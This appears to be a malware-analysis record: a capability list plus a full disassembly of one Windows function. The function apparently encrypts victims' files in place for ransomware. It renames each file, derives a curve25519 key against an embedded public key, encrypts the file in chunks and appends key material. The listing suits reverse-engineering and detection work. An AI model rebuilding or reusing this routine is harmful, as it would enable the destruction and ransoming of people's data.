Function at 0x40b030
Capabilities:
Encrypt data using curve25519
Generate random numbers via winapi
Get file size
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x11cc
call fcn.0040cda0
mov eax, dword [0x40d1e4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
xorps xmm0, xmm0
push esi
push edi
push 0x80
push ebx
mov dword [ebp - 0x11a0], ebx
mov byte [ebp - 0x24], 9
movups xmmword [ebp - 0x23], xmm0
mov dword [ebp - 0xb], 0
movq qword [ebp - 0x13], xmm0
mov word [ebp - 7], 0
mov byte [ebp - 5], 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push ebx
call esi
mov edi, eax
push edi
push ebx
mov dword [ebp - 0x11ac], edi
call fcn.0040cbe0
lea ecx, [edi*2 + 0x12]
mov byte [ebp - 0x11a5], al
push ecx
call fcn.0040c980
mov edi, eax
add esp, 0xc
test edi, edi
je 0x40b73a
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x11ac]
inc eax
lea ecx, [edi + eax*2]
push ecx
push ebx
call fcn.0040c7d0
mov eax, dword [ebp - 0x11ac]
add esp, 8
mov ecx, 0x2e
push 9
push edi
push ebx
mov word [edi + eax*2], cx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
test eax, eax
je 0x40b6cf
push 0
push 0x8000000
push 3
push 0
push 0
push 0xc0000000
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
mov esi, eax
call fcn.0040c9b0
add esp, 4
cmp esi, 0xffffffff
je 0x40b668
lea eax, [ebp - 0x11c8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSizeEx]
push 0x100000
call fcn.0040c980
mov edi, eax
add esp, 4
test edi, edi
je 0x40b650
lea eax, [ebp - 0x44]
push eax
push 0x20
push dword [0x40d270]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov al, byte [ebp - 0x25]
and byte [ebp - 0x44], 0xf8
and al, 0x3f
or al, 0x40
mov byte [ebp - 0x25], al
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x88]
push eax
call fcn.00405620
push 0x40d1b8
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 0x64]
push eax
call fcn.00405620
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x64]
push 0x20
push eax
call fcn.0040a690
push 0x100
push 0x100
lea eax, [ebp - 0xc8]
push eax
lea eax, [ebp - 0x1194]
push eax
call fcn.004074f0
lea eax, [ebp - 0xa8]
push eax
lea eax, [ebp - 0x1194]
push eax
call fcn.00407130
lea eax, [ebp - 0xc8]
push 0x40
push eax
call fcn.00408cc0
add esp, 0x44
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x110]
push 0x40
push 0
push eax
call fcn.0040ca20
push 0x40
lea eax, [ebp - 0xc8]
push 0
push eax
call fcn.0040ca20
push 0x40
lea eax, [ebp - 0x64]
push 0
push eax
call fcn.0040ca20
add esp, 0x24
xorps xmm0, xmm0
movlpd qword [ebp - 0x11b4], xmm0
mov ebx, dword [ebp - 0x11b0]
mov eax, dword [ebp - 0x11b4]
push 0
push 0
push ebx
push eax
push esi
mov dword [ebp - 0x1198], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
cmp byte [ebp - 0x11a5], 0
mov ecx, dword [ebp - 0x11c4]
mov eax, dword [ebp - 0x11c8]
je 0x40b37a
test ecx, ecx
jl 0x40b5f6
jg 0x40b26b
cmp eax, 0x100000
jb 0x40b37a
push 0
push 0x100000
push ecx
push eax
call fcn.0040ccf0
mov ecx, edx
mov dword [ebp - 0x11b0], eax
mov dword [ebp - 0x11c0], ecx
xorps xmm0, xmm0
movlpd qword [ebp - 0x11bc], xmm0
test ecx, ecx
jl 0x40b5f6
jg 0x40b2a4
test eax, eax
je 0x40b5f6
mov eax, dword [ebp - 0x11b8]
mov dword [ebp - 0x11a0], eax
mov eax, dword [ebp - 0x11bc]
mov dword [ebp - 0x11b8], eax
nop dword [eax]
push 0
lea eax, [ebp - 0x119c]
push eax
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x119c]
lea eax, [ebp - 0x1194]
push edi
push edi
push eax
push 0
call fcn.00407560
mov eax, dword [ebp - 0x1198]
add esp, 0x14
push 0
push 0
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x11ac]
push eax
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x1198]
add eax, 0x100000
push 0
push 0
adc ebx, 0
mov dword [ebp - 0x1198], eax
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [ebp - 0x11b8]
mov ecx, dword [ebp - 0x11a0]
add eax, 1
mov dword [ebp - 0x11b8], eax
adc ecx, 0
mov dword [ebp - 0x11a0], ecx
cmp ecx, dword [ebp - 0x11c0]
jl 0x40b2c0
jg 0x40b5f6
cmp eax, dword [ebp - 0x11b0]
jb 0x40b2c0
jmp 0x40b5f6
test ecx, ecx
jl 0x40b5f6
jg 0x40b38f
cmp eax, 0x1400000
jbe 0x40b49a
push 0
push 0xa00000
push ecx
push eax
call fcn.0040ccf0
mov ecx, edx
mov dword [ebp - 0x11c0], eax
mov dword [ebp - 0x11b0], ecx
xorps xmm0, xmm0
movlpd qword [ebp - 0x11a4], xmm0
test ecx, ecx
jl 0x40b5f6
jg 0x40b3c8
test eax, eax
je 0x40b5f6
mov eax, dword [ebp - 0x11a0]
mov dword [ebp - 0x11b8], eax
mov eax, dword [ebp - 0x11a4]
mov dword [ebp - 0x11a0], eax
push 0
lea eax, [ebp - 0x119c]
push eax
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x119c]
lea eax, [ebp - 0x1194]
push edi
push edi
push eax
push 0
call fcn.00407560
mov eax, dword [ebp - 0x1198]
add esp, 0x14
push 0
push 0
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x11ac]
push eax
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x1198]
add eax, 0xa00000
push 0
push 0
adc ebx, 0
mov dword [ebp - 0x1198], eax
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [ebp - 0x11a0]
mov ecx, dword [ebp - 0x11b8]
add eax, 1
mov dword [ebp - 0x11a0], eax
adc ecx, 0
mov dword [ebp - 0x11b8], ecx
cmp ecx, dword [ebp - 0x11b0]
jl 0x40b3e0
jg 0x40b5f6
cmp eax, dword [ebp - 0x11c0]
jb 0x40b3e0
jmp 0x40b5f6
test ecx, ecx
jl 0x40b5f6
jg 0x40b4af
cmp eax, 0x500000
jbe 0x40b597
push 0
push 3
push ecx
push eax
call fcn.0040ccf0
xorps xmm0, xmm0
mov dword [ebp - 0x11b0], eax
movlpd qword [ebp - 0x11a4], xmm0
mov ecx, dword [ebp - 0x11a0]
mov dword [ebp - 0x11b8], ecx
mov ecx, dword [ebp - 0x11a4]
mov dword [ebp - 0x11c0], edx
mov dword [ebp - 0x11a0], ecx
nop dword [eax]
push 0
lea eax, [ebp - 0x119c]
push eax
push 0x100000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x119c]
lea eax, [ebp - 0x1194]
push edi
push edi
push eax
push 0
call fcn.00407560
mov eax, dword [ebp - 0x1198]
add esp, 0x14
push 0
push 0
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x11ac]
push eax
push dword [ebp - 0x119c]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [ebp - 0x1198]
add eax, dword [ebp - 0x11b0]
push 0
adc ebx, dword [ebp - 0x11c0]
push 0
push ebx
push eax
push esi
mov dword [ebp - 0x1198], eax
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov eax, dword [ebp - 0x11a0]
add eax, 1
mov dword [ebp - 0x11a0], eax
adc dword [ebp - 0x11b8], 0
js 0x40b4f0
jg 0x40b5f6
cmp eax, 3
jb 0x40b4f0
jmp 0x40b5f6
test ecx, ecx
jl 0x40b5f6
jg 0x40b5a1
test eax, eax
je 0x40b5f6
push 0
lea ecx, [ebp - 0x119c]
push ecx
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x119c]
lea eax, [ebp - 0x1194]
push edi
push edi
push eax
push 0
call fcn.00407560
mov eax, dword [ebp - 0x11b4]
add esp, 0x14
push 0
push 0
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x11ac]
push eax
push dword [ebp - 0x119c]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x10cc
lea eax, [ebp - 0x1194]
push 0
push eax
call fcn.0040ca20
add esp, 0xc
xorps xmm0, xmm0
movlpd qword [ebp - 0x11b4], xmm0
push 2
push 0
push dword [ebp - 0x11b0]
push dword [ebp - 0x11b4]
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
push 0
lea eax, [ebp - 0x11ac]
push eax
push 0x24
lea eax, [ebp - 0x88]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call fcn.0040c9b0
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040cc9c
mov esp, ebp
pop ebp
ret
cmp dword [0x40d26c], 0
je 0x40b73a
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push eax
push ebx
push 0
push 0xfde9
call edi
mov esi, eax
push esi
call fcn.0040c980
add esp, 4
mov ebx, eax
push 0
push 0
push esi
mov esi, dword [ebp - 0x11a0]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push esi
push 0
push 0xfde9
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x404130
jmp 0x40b72c
cmp dword [0x40d26c], 0
je 0x40b73a
push 0
push 0
push 0
push 0
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push eax
push ebx
push 0
push 0xfde9
call edi
mov esi, eax
push esi
call fcn.0040c980
add esp, 4
mov ebx, eax
push 0
push 0
push esi
mov esi, dword [ebp - 0x11a0]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push esi
push 0
push 0xfde9
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push ebx
push 0x404154
call fcn.0040af30
push ebx
call fcn.0040c9b0
add esp, 0x10
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040cc9c
mov esp, ebp
pop ebp
ret